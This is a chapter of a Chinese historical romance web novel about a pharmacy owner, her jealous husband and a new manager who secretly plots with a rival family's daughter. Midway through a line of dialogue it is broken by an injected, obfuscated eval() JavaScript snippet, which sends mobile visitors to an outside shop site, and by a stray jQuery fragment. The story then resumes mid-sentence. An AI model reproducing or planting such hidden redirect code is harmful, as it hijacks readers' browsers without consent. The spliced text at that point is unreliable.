“奺儿，还是听我的，从祁家调些掌柜来帮你吧。”
平凉南门的济世堂总铺，祁楚一边摇扇一边喝着凉茶，又提起济世堂人手的事。这段时日来，柒奺总是早出晚归忙得脚不沾地，祁楚心疼得紧，实在不愿见她劳累。
柒奺累了，每日回家洗洗倒头便睡，莫说温存，往往搂着她还未说两句话，柒奺便歪头睡了过去——祁楚可再也不想咬被子到天明了！
“我济世堂用你祁家的掌柜，叫别人作何看？”柒奺说，“好了好了，贺掌柜来信说，分号的事儿已经办妥了，今日是叫你祁大老板来商量送药的事儿，别的就打住。还有，分号的掌柜聚贤斋也招的差不多了，等药一送到，我也就能休息休息了。”
“真的？”祁楚双眼一亮，“那、那赶紧的，要哪些、要多少，你写个单子来，我今晚就叫人送到！”
柒奺无奈笑笑，正要说话，却听外头的伙计喊了句：
“东家，贺掌柜和乔掌柜回来了！”
“……乔掌柜？”
祁楚收起折扇，狐疑地看向柒奺。他只听说柒奺招到了一名掌柜，这段时日都同贺远程在郊县筹备分号，并未多问。如今听得对方姓“乔”，总觉得熟悉，却又一时想不起来在哪听过。
外头，贺远程和乔予卿拴了骡子，风尘仆仆地走了进来。
门口的伙计忙迎上去，说道：“贺掌柜、乔掌柜，你们回来啦？今日祁家的祁大老板来了，正同咱们东家在里头谈事情呢！”
“知道了，你先去忙吧。”贺远程点点头。
乔予卿却有些惊讶，心里又突突打起鼓来——我倒忘了，济世堂的药材都是从祁家进的，二人既不避嫌，莫非祁楚早就知道，这“陆十三”就是柒奺？可他转念一想又觉得不太可能，当初陶家逼迫济世堂改换药材，柒奺想也不想便答应下来，岂不是“夫妇本是同林鸟，大难临头各自飞”？
贺远程走了两步，回头见乔予卿还愣着，便唤了他一声：
“乔掌柜？正好今日祁大老板在，咱们济世堂的药材都是祁家的，乔掌柜也不妨去见见，将来买卖进货也必然会同祁家打交道的。”
乔予卿神色复杂，低头闷嗯了一声。
二人走进后屋，贺远程率先敲门进去。
乔予卿埋着头走在后面，见屋内摆着茶桌，柒奺同祁楚对坐两旁，桌上放着散乱的宣纸，的确像是在谈正事。乔予卿只见过祁楚两次，一次是郊外施药施粥，一次是平凉商会的集会，这样的有钱公子哥从未去过三娘的地界儿，倒是令乔予卿对他高看了一眼。
祁楚一身白衣，眉目朗俊又有一丝英气，仪态又颇有些潇洒不羁，见着贺远程进来，起身拱了拱手：“贺掌柜，今日还真是巧了！就不必拘礼，快坐，快坐……”
说完，亲自倒了茶，又大咧咧地坐了回去。
“倒是一副主人姿态。”乔予卿暗暗揣测。
贺远程见着祁楚，心里不知是个什么滋味。原本他以为娟儿姑娘的事，在他心里已经算是过去了，今日听祁楚来也并未介意。可真正见着他的这一刻，又涌出些五味杂陈的苍凉之感。
柒奺尴尬地咳嗽了一声。
见乔予卿跟在后面，她只好硬着头皮起身介绍：“祁老板，这位你没见过，这是济世堂新来的掌柜乔公子——乔掌柜，这便是平凉祁家的大老板，往后咱们济世堂的生意，还要仰仗祁老板的。”
“祁老板幸会……”
乔予卿拱手。
“这就是乔掌柜啊……”祁楚一见乔予卿俊俏的模样，酸气蹭蹭蹭地冒上头顶，“哎呀，我说陆老板，早就听说您招掌柜招了好些时日都未见着满意的，原来陆老板想要的掌柜，竟是乔掌柜这样的‘好人才’啊！”
祁楚鼻子里重重哼了一声——
简直遍地是豺狼啊！
柒奺就知道，祁楚一旦见着了乔掌柜，定要再喝一坛子飞醋。可若遮遮掩掩，反而显得像是有什么了，不如大大方方的。
柒奺笑笑，说道：“诶，乔公子可是聚贤斋引荐来的，祁老板倒不如说，是聚贤斋的人火眼金睛、慧眼识人，不愧是平凉第一啊。”
“就你会狡辩……”祁楚瘪嘴嘟囔，学柒奺翻了个白眼。
贺远程低头抿嘴，乔予卿见这一幕，心里顿时晃晃荡荡没了着落——莫非真叫我猜中了？这祁楚的言行举止，分明就是拈酸吃醋……难道我与林春娘二人都看走了眼，这祁楚和柒奺并无感情不和，也没什么“大难临头各自飞”？
祁楚……早就听说他玩世不恭，从小舞刀弄棒还去参了军，是祁老爷子快死了才从军营里回来，赶鸭子上架继承了家业——这样一个人，能有这心计？
“乔掌柜？”柒奺见乔予卿愣着，试探地唤了一声，“我听贺掌柜说了，乔掌柜这段时日为了济世堂尽心尽力，也多亏了二位掌柜鼎力相助，济世堂才能顺利办起分号。今日我同祁老板也已经谈妥了，筹备的事，就算告一段落了——今晚我做东，就在南门的山珍楼，替二位掌柜接风洗尘。”
贺远程乔予卿正要说些客气话，祁楚却一炸而起：
“什么？那……那得吃到多晚了！不行……那个什么，听者有份！陆老板必须带我一起去！”
柒奺只好顺势拱拱手：“祁老板既肯赏光，陆某哪有不从的？只不过济世堂小本生意，只能请得起南门的山珍楼，陆某怕掉了祁老板的身份不是。”
“哟，陆老板真客气。”祁楚撇撇嘴，潇洒地打开折扇，“俗话说‘吃饭不积极，脑子缺根筋’，只要是陆老板做东，祁某哪有不从的？啧……天也不早了，咱就早点吃，吃了早点回家！”
祁楚说完，起身大步流星朝外走去。
贺远程本想推辞不去，可也没逮着机会，只好放下行李跟了出去，好在还有个乔掌柜，能稍微缓解缓解尴尬。祁楚率先走出大门，却听得一个明晃晃的声音喊着：
“楚哥哥！……楚哥哥，可真是巧呀！”
一听这声音，祁楚和乔予卿皆是一激灵。
同样明晃晃的夕阳下，陶凝穿着一身翠色长裙，兴高采烈地冲祁楚奔了过来：“楚哥哥，眼看着就要中秋了，我还正说去祁府下贴，请你来我家吃顿团圆饭呢！”
“这位是……”乔予卿假装惊讶，低声问贺远程。
“哦，这是平凉陶家的三姑娘。”贺远程说道。
柒奺见是陶凝，便顿了一步，没有走出门去。
正说着，陶凝的目光总算扫到了贺乔二人，见着乔予卿，她愣了一愣。乔予卿心中忐忑不已，低头咳嗽了一声，陶凝方才回过神来，笑着问祁楚：“楚哥哥，这位公子……怎么有些面生？”
“这是济世堂新来的掌柜。”祁楚说道，“凝儿姑娘，今日我与济世堂老板要谈笔生意，所以……哦，至于中秋家宴的事，还请凝儿姑娘转告陶叔霍婶，祁楚自当携妇登门赴宴。”
“那就这么说定了哦！柒嫂嫂可一定要
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17885364|203563||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
来，上次得见，我可喜欢她得紧呢！”陶凝得了祁楚这句话，也不再纠缠，笑着说道，“时间也不早了，娘还等着我去东门的百巧制衣坊，替她取做好的衣裳呢！母亲的嘱托，凝儿不敢怠慢，这就走了——楚哥哥，中秋那日定要早早来哦！”
陶凝说完，稍稍欠了欠身，又朝乔予卿瞥了一眼才离去。
祁楚无奈笑笑——这陶凝，今日倒是走得干脆。
陶凝走后，众人正要起行，乔予卿却突然一拍手道：“哎呀！我想起来家中今日还有事，若吃了饭再回去，怕是晚了……祁老板，贺掌柜，请容乔某暂行告退，待我回家处理好，会立马赶去山珍楼……恕罪，恕罪！”
祁楚想想说：“无妨，原本时间还早，乔掌柜若有急事，就先去处理吧。”
乔予卿歉意地拱一拱手，也快步离去。
乔予卿亦是个聪明人，方才听陶凝说起东门的百巧制衣坊，临走又给了他一个眼神，便明白陶凝那番话原是说给他听的。还好他反应极快，找了个托辞，立马跟到了东门。来来往往的街面上，乔予卿远远便看见，陶凝并没有进铺子里，而是站在一条巷子外，东张西望。
而看见陶凝的那一刻，乔予卿犹豫了。
脑海中又浮现，那日在茂川县看见的顾长岳。
这段时日发生的事情，一幕幕又从脑海掠过，他在脑中飞快地盘算起来——
他原本以为自己的色相绝佳，只要稍一透露出对柒奺的兴趣，对方就会受宠若惊立马投怀送抱，可柒奺出身偏僻村野，却不是那头发长见识短的妇人，并不为所动。他要得到柒奺，只能借着掌柜的身份接近她，只要她与夫君不和，总会渐渐缴械投降……可就凭刚刚短短的两三句话，他便断定他们夫妇二人并无不和，这一条路怕是得花上不少时间。
不如……就像贺远程一样，先老老实实做个掌柜？
乔予卿摇摇头，很快又否认了这一闪而过的念头——
要想靠这一月一两银子的薪水改换身份，求官打点，那不得攒到猴年马月去？自己才对贺远程的想法嗤之以鼻，怎能也如此天真，去走这条比登天还难的路？如今的官场，若无万贯家财、无家世背景，怎能出人头地？
乔予卿皱起了眉头，他又想起，那日曹主簿对他说的话：
“尽快想办法筹到银子改头换面……至于前途嘛，也是会有的，明白了吗？”
不，不能再等了。
乔予卿冷下目光，定了定神，大步穿过人流朝陶凝走去。
陶凝见乔予卿走来，轻提嘴角冷冷一笑，转身走进了巷内。不一会儿，乔予卿也走了进来，见着陶凝，重重行了个礼。
陶凝笑道：“方才我还以为自己看错了，乔公子，你不是清崖居的名伶歌姬么，怎的如今竟成一个小药铺的掌柜了？难不成，乔公子是要反悔了？”
“乔某不是。”乔予卿说道，“相反，正是因为乔某相信陶三姑娘，才毅然辞去了清崖居的差事……做个小小掌柜实属无奈，乔某为了赎身，将所有的家当悉数交给了霸爷，如今身无分文，才要寻个差事暂且混口饭吃罢了。”
“乔公子倒是诚心。”陶凝这才放下心来，摇了摇手中的绢扇，说道，“那就请乔公子再耐心等上几日。方才你应该也听见了，八月十五，祁楚和柒奺都会来我家赴宴，那时便是乔公子的机会。乔公子若同意，行动之前，我会差人通知你的。”
“那……一切就仰仗陶三姑娘了。”